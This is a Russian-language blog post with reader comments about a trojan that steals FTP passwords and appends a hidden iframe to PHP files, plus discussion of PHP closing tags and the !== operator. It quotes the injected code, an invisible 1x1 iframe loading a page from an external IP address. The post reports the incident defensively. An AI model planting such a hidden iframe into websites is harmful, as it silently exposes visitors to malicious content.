Трояны крадут FTP-пароли Windows-пользователей и портят сайты

Я об этом не раз слышал от хостеров, вчера увидел на одном сайте как это работает. Называется Zeroiframe, дописывает к PHP-файлам в конец такой вот код:

 <iframe src="http://209.200.228.43/adv.html" width=1 height=1 style="visibility: hidden;"></iframe>

Хорошо, что я не пишу в PHP-код закрывающий ?> и поэтому такое дописывание iframe просто делает код неработоспособным.

Подозрение пало на трояна с компьютера сисадмина, который незадолго до инцидента подключался к хосту по FTP из Windows. Удивительно, но 1/3 посетителей этого блога все еще использует MSIE, специально для них неполенился добавить в правую колонку ахтунг-блок, с таким условием видимости на стороне сервера:

 return isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE;

Так а антивирусы это ловят?

Далее. Я не пишу на PHP. Плюс у Вас с пунктуацией проблемы. =)

Полагаю, что читать следует так: «Хорошо, что я не пишу в PHP-код закрывающий "?>" и поэтому»…

Два вопроса для самообразования:

1) А это нормально — не закрывать? Нигде просто в аналогах (perl-cgi, asp) такого не видел. Повтаряю, в PHP я ноль (ну или 0,0001).

2) В чем смысл конструкции "fn(x) != FALSE"? Оно ли не эквивалентно простому "fn(x)"?

Лучше подписывать каменты с вопросами.

Наверняка ловят. Обновлять базы надо и все время держать загруженным антивирус во время серфинга. Проще браузер сменить на менее популярный.

PHP-код...

1) Нормально. Конечно речь идет не о шаблонах, а о модулях, библиотеках, где открываем один раз в начале файла и все. Придумал не я. Аргументы за "не закрывать": не возникает неожиданностей из за отправленных заголовков в каком-то модуле за счет лишнего пробела после ?>, закрывать не обязательно, в примерах с PHP.net не закрывают, ну и новомодные трояны.

2) Не !=, а !==. Это в php специальный оператор сравнения без преобразования типа: (0 !== FALSE) это TRUE, а (0 != FALSE) это FALSE. Не эквивалентно в php т.к. strpos может вернуть как 0 так и FALSE.

Ясно. Спасибо за подробные комментарии!

UPD: Пардон, «повторяю» ;-) У меня проблемы с орфографией.

Post new comment

The content of this field is kept private and will not be shown publicly.

More information about formatting options

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (all lower case) from the image.